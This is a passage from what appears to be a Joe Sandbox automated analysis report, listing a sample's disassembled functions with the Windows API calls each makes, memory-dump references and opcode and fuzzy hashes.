                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: PrivateProfile$SectionWrite$String
                              • String ID:
                              • API String ID: 2832842796-0
                              • Opcode ID: a5613791a7b7745f301c2db32c82459f4eb77f00fff265897707edd8741bbf57
                              • Instruction ID: 1eb5009190fa999c36a74edd43b7bd9b51adbc8f8691a9c3f5840d50e9073e8b
                              • Opcode Fuzzy Hash: a5613791a7b7745f301c2db32c82459f4eb77f00fff265897707edd8741bbf57
                              • Instruction Fuzzy Hash: D1413075A00209BFDB10EFA1DC85FAAB7A8BF44305F10855EF9049B292DA79EE44CB54
                              Function 00441C7B Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                              Download Yara Rule
                              APIs
                              • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00441CA9
                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00441CDD
                              • RegCloseKey.ADVAPI32(?), ref: 00441CFE
                              • RegDeleteKeyW.ADVAPI32(?,?), ref: 00441D40
                              • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00441D6E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Enum$CloseDeleteOpen
                              • String ID:
                              • API String ID: 2095303065-0
                              • Opcode ID: d2ce045a3c5b7a9f88abc7d1956311aab30076c6419bcb4202e5cbde6d6cad15
                              • Instruction ID: 7ca4c7ada97503ad9332fce322fe5d5fc03c2789ff93db080e75f28165cdf273
                              • Opcode Fuzzy Hash: d2ce045a3c5b7a9f88abc7d1956311aab30076c6419bcb4202e5cbde6d6cad15
                              • Instruction Fuzzy Hash: 69317CB2940108BAEB10DBD4DC85FFEB77CEB49304F04456EF605A7241D774AA858BA8
                              Function 00436A0B Relevance: 7.6, APIs: 5, Instructions: 103COMMON
                              Download Yara Rule
                              APIs
                              • GetWindowRect.USER32(?,?), ref: 00436A24
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: RectWindow
                              • String ID:
                              • API String ID: 861336768-0
                              • Opcode ID: d215e6d8dffd18d1ffc2da0b67cce38d66530bec6329dda4924901d83a0034d3
                              • Instruction ID: 0a42da3bb0701689e96ef39581243ed39d97d4ba46bd7cd8c1f057aae640e0d3
                              • Opcode Fuzzy Hash: d215e6d8dffd18d1ffc2da0b67cce38d66530bec6329dda4924901d83a0034d3
                              • Instruction Fuzzy Hash: E531EA7160021EAFDB00DF68D988AAE77A5EB49324F11C62AFD24E7380D774EC11CB90
                              Function 00449555 Relevance: 7.6, APIs: 5, Instructions: 96windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32 ref: 00449598
                                • Part of subcall function 00430626: _wcspbrk.LIBCMT ref: 00430636
                              • SendMessageW.USER32(?,00001074,?,?), ref: 004495F8
                              • _wcslen.LIBCMT ref: 0044960D
                              • _wcslen.LIBCMT ref: 0044961A
                              • SendMessageW.USER32(?,00001074,?,?), ref: 0044964E
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$_wcslen$_wcspbrk
                              • String ID:
                              • API String ID: 1856069659-0
                              • Opcode ID: eb2345d78995945919f1fca8909d98cd083db74a4e9b61e28a7ea2bcab757230
                              • Instruction ID: 683be220b4a5e9d86ccbf412c3bd2f13dbb60120779f28b1c577ab6eeef24407
                              • Opcode Fuzzy Hash: eb2345d78995945919f1fca8909d98cd083db74a4e9b61e28a7ea2bcab757230
                              • Instruction Fuzzy Hash: 77318F71A00218ABEB20DF59DC80BDFB374FF94314F10466AFA0497280E7B59D958B94
                              Function 00447BF1 Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                              Download Yara Rule
                              APIs
                              • GetWindowRect.USER32(?,?), ref: 00447C5D
                              • ScreenToClient.USER32(?,?), ref: 00447C7B
                              • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C8E
                              • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447CD5
                              • EndPaint.USER32(?,?), ref: 00447D13
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ClientPaintRectRectangleScreenViewportWindow
                              • String ID:
                              • API String ID: 659298297-0
                              • Opcode ID: 9df24dda7700d3462e91b7be9c0077b8f1985bebde9900174ed076ebcab1caeb
                              • Instruction ID: 3c0582d8bc81ba5dadaaf244cb1f1d3939805113443e317e1f98b5bdeebaec33
                              • Opcode Fuzzy Hash: 9df24dda7700d3462e91b7be9c0077b8f1985bebde9900174ed076ebcab1caeb
                              • Instruction Fuzzy Hash: C33161706043019FE310CF25D8C8F7B7BE8EB86724F144A6EF9A5872A1C774A845DB69
                              Function 004487EA Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                              Download Yara Rule
                              APIs
                              • EnableWindow.USER32(?,00000000), ref: 00448B5C
                              • EnableWindow.USER32(?,00000001), ref: 00448B72
                              • ShowWindow.USER32(?,00000000), ref: 00448BE8
                              • ShowWindow.USER32(?,00000004), ref: 00448BF4
                              • EnableWindow.USER32(?,00000001), ref: 00448C09
                                • Part of subcall function 00440D98: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00440DB8
                                • Part of subcall function 00440D98: 742845F0.USER32(?,000000F0,?,?,000000F0,00000000,00000000), ref: 00440DFA
                                • Part of subcall function 00440D98: 742845F0.USER32(?,000000F0,?,?,000000F0,00000000,00000000), ref: 00440E3A
                                • Part of subcall function 00440D98: SendMessageW.USER32(009C1C68,000000F1,00000000,00000000), ref: 00440E6E
                                • Part of subcall function 00440D98: SendMessageW.USER32(009C1C68,000000F1,00000001,00000000), ref: 00440E9A
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$EnableMessageSend$742845Show
                              • String ID:
                              • API String ID: 962000629-0
                              • Opcode ID: 426854c6b9cbeb660193a9c091743316caa306963ba13d8f93245475b3a006f2
                              • Instruction ID: c941ec4e4e3d0536419715940b2668e48b64c275bb9f23e9dd6fd7b29375311a
                              • Opcode Fuzzy Hash: 426854c6b9cbeb660193a9c091743316caa306963ba13d8f93245475b3a006f2
                              • Instruction Fuzzy Hash: DE21F7B17443805BF7258E24CCC4BAFB7D0EF56345F08482EF98196391DBACA885C75A
                              Function 004550FC Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: cfa96c7b92ceffa4878489be5d10f88277f639196488ca8149908940c9a32487
                              • Instruction ID: af34b986bc09d21a6a739d25b45c5a22770885c200d938a8bd6fc5fff5094107
                              • Opcode Fuzzy Hash: cfa96c7b92ceffa4878489be5d10f88277f639196488ca8149908940c9a32487
                              • Instruction Fuzzy Hash: 5921AE75200600DBC710EF29E9D496B77B9EF49362B00466EFE5197392DB34EC09CB69
                              Function 00445870 Relevance: 7.6, APIs: 5, Instructions: 78windowCOMMON
                              Download Yara Rule
                              APIs
                              • IsWindowVisible.USER32(?), ref: 00445879
                              • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00445893
                              • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 004458CD
                              • _wcslen.LIBCMT ref: 004458FB
                              • CharUpperBuffW.USER32(00000000,00000000), ref: 00445905
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                              • String ID:
                              • API String ID: 3087257052-0
                              • Opcode ID: f69ffadf962ece00da2d3b786a5ca76815724ee7e4437aac7967cccaf73e78c3
                              • Instruction ID: ced771b0f23340e5f55e8fdbc4e1763ce6d97a07fd0b425722e47bce61cb145a
                              • Opcode Fuzzy Hash: f69ffadf962ece00da2d3b786a5ca76815724ee7e4437aac7967cccaf73e78c3
                              • Instruction Fuzzy Hash: F51136726009017BFB10AB25DC06F9FB78CAF65360F04403AF909D7241EB69ED5983A9
                              Function 004653C8 Relevance: 7.6, APIs: 5, Instructions: 72networkCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00465225: inet_addr.WSOCK32(?), ref: 00465249
                              • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 004653FE
                              • WSAGetLastError.WSOCK32(00000000), ref: 0046540D
                              • connect.WSOCK32(00000000,?,00000010), ref: 00465446
                              • WSAGetLastError.WSOCK32(00000000), ref: 0046546D
                              • closesocket.WSOCK32(00000000,00000000), ref: 00465481
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorLast$closesocketconnectinet_addrsocket
                              • String ID:
                              • API String ID: 245547762-0
                              • Opcode ID: 4a364c3b246f50765ea579ebeb5236c2c367babb38bf5793ee33ccca847a6907
                              • Instruction ID: 0a95abeaf907522bb910ccff47ca5b8cdb65f95d12881c86cce1eb50970c9d0a
                              • Opcode Fuzzy Hash: 4a364c3b246f50765ea579ebeb5236c2c367babb38bf5793ee33ccca847a6907
                              • Instruction Fuzzy Hash: E921F032200510ABD310EF29DC49F6EB7E8EF44725F008A6FF844E72D1DBB4A8418B99
                              Function 0044719B Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                              Download Yara Rule
                              APIs
                              • DeleteObject.GDI32(00000000), ref: 004471D8
                              • ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
                              • SelectObject.GDI32(?,00000000), ref: 00447228
                              • BeginPath.GDI32(?), ref: 0044723D
                              • SelectObject.GDI32(?,00000000), ref: 00447266
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Object$Select$BeginCreateDeletePath
                              • String ID:
                              • API String ID: 2338827641-0
                              • Opcode ID: 2b4904aa023ab9776d85036867689c5727337e5a2013c968bceed19ab76b7b02
                              • Instruction ID: fd3aca4fc88a528095528039be3f852d236b7ebb9f74560e76bd8f11b15fbd2f
                              • Opcode Fuzzy Hash: 2b4904aa023ab9776d85036867689c5727337e5a2013c968bceed19ab76b7b02
                              • Instruction Fuzzy Hash: 92214F71905204AFEB10DF689D48A9E7FACFB16310F14466BF910D32A1DBB49C85CBAD
                              Function 00434582 Relevance: 7.6, APIs: 5, Instructions: 61sleepCOMMON
                              Download Yara Rule
                              APIs
                              • Sleep.KERNEL32(00000000), ref: 00434598
                              • QueryPerformanceCounter.KERNEL32(?), ref: 004345B5
                              • Sleep.KERNEL32(00000000), ref: 004345D4
                              • QueryPerformanceCounter.KERNEL32(?), ref: 004345DE
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CounterPerformanceQuerySleep
                              • String ID:
                              • API String ID: 2875609808-0
                              • Opcode ID: e7bcee6603ab5961272028a34fb999977f673cbbb9fa03059816f244ade9b228
                              • Instruction ID: a92d15520113c221d818f77e193bed66bb4dcccdbbd961c90b57f37ba003579f
                              • Opcode Fuzzy Hash: e7bcee6603ab5961272028a34fb999977f673cbbb9fa03059816f244ade9b228
                              • Instruction Fuzzy Hash: 37118232D0011DA7CF00EF99DD49AEEBB78FF99721F00456AEE4473240DA3465618BE9
                              Function 00460C01 Relevance: 7.5, APIs: 5, Instructions: 48windowtimeCOMMON
                              Download Yara Rule
                              APIs
                              • GetDlgItem.USER32(?,000003E9), ref: 00460C17
                              • GetWindowTextW.USER32(00000000,?,00000100), ref: 00460C2E
                              • MessageBeep.USER32(00000000), ref: 00460C46
                              • KillTimer.USER32(?,0000040A), ref: 00460C68
                              • EndDialog.USER32(?,00000001), ref: 00460C83
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: BeepDialogItemKillMessageTextTimerWindow
                              • String ID:
                              • API String ID: 3741023627-0
                              • Opcode ID: 1f18e2cfcdf944224a2d79a82bd846e8569cbd7b4094970ae8d1428a0e6a4617
                              • Instruction ID: 069ac2582a8c3c153a507cef710a9e07e91c6f457c78871e3a9641c65eda6ae6
                              • Opcode Fuzzy Hash: 1f18e2cfcdf944224a2d79a82bd846e8569cbd7b4094970ae8d1428a0e6a4617
                              • Instruction Fuzzy Hash: AB01DD315403086BE7349B54EE8DBDB737CFB14705F00465FB645921C0E7F4A9948B95
                              Function 004556A0 Relevance: 7.5, APIs: 5, Instructions: 45COMMON
                              Download Yara Rule
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285DeleteObject$CursorDestroy
                              • String ID:
                              • API String ID: 2795845607-0
                              • Opcode ID: 3835efce57e2eefc6c6d584a426a71e2dd3a2f260109f85cc330253665e7d223
                              • Instruction ID: b4c4dbb9b59ba1bd7f08d964dfa6937d7ad9fb038e30cf105cf785d591c64ca0
                              • Opcode Fuzzy Hash: 3835efce57e2eefc6c6d584a426a71e2dd3a2f260109f85cc330253665e7d223
                              • Instruction Fuzzy Hash: D5014870301A01DBDB10EF65E9D8A2B77A8BF48762F10462AFD04D7352D739D849CBA9
                              Function 004555ED Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON
                              Download Yara Rule
                              APIs
                              • SendMessageW.USER32(?,00001101,00000000,?), ref: 004555FC
                              • DeleteObject.GDI32(?), ref: 00455736
                              • DeleteObject.GDI32(?), ref: 00455744
                              • DestroyCursor.USER32(?), ref: 00455752
                              • 74285CF0.USER32(?), ref: 00455760
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DeleteObject$74285CursorDestroyMessageSend
                              • String ID:
                              • API String ID: 2326558736-0
                              • Opcode ID: 7dd20da83386a23a1814408c1199d2c33e99a8c26f67204b6fd348d50f61361a
                              • Instruction ID: 3262712e9a8127eed33bb9eb3d9864066e7dde5d47db0d590f2b6463dd6d37f9
                              • Opcode Fuzzy Hash: 7dd20da83386a23a1814408c1199d2c33e99a8c26f67204b6fd348d50f61361a
                              • Instruction Fuzzy Hash: 07017C74300601DBCB10EF25EEC8A2A73A8BF48712F004569FE019B286D778DC49CB68
                              Function 00455607 Relevance: 7.5, APIs: 5, Instructions: 42COMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00430003: InvalidateRect.USER32(?,00000000,00000001), ref: 00430091
                              • 74285CF0.USER32(?), ref: 00455728
                              • DeleteObject.GDI32(?), ref: 00455736
                              • DeleteObject.GDI32(?), ref: 00455744
                              • DestroyCursor.USER32(?), ref: 00455752
                              • 74285CF0.USER32(?), ref: 00455760
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: 74285DeleteObject$CursorDestroyInvalidateRect
                              • String ID:
                              • API String ID: 3424818771-0
                              • Opcode ID: 9df849479103f2de49514c9ec76f9cef1897402069f9b01ba3cc14c1fa4130bc
                              • Instruction ID: 2016740d4609c4bbd0e5f1cf6dc7522ca00853e433b5032f7809eda0dc31aff9
                              • Opcode Fuzzy Hash: 9df849479103f2de49514c9ec76f9cef1897402069f9b01ba3cc14c1fa4130bc
                              • Instruction Fuzzy Hash: 3701F670200601DBCB10EF69E9D8A2B37ACAF49762B00466AFD01D7256D769DC498B69
                              Function 00417803 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • __getptd.LIBCMT ref: 0041780F
                                • Part of subcall function 00417A69: __getptd_noexit.LIBCMT ref: 00417A6C
                                • Part of subcall function 00417A69: __amsg_exit.LIBCMT ref: 00417A79
                              • __getptd.LIBCMT ref: 00417826
                              • __amsg_exit.LIBCMT ref: 00417834
                              • __lock.LIBCMT ref: 00417844
                              • __updatetlocinfoEx_nolock.LIBCMT ref: 00417858
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
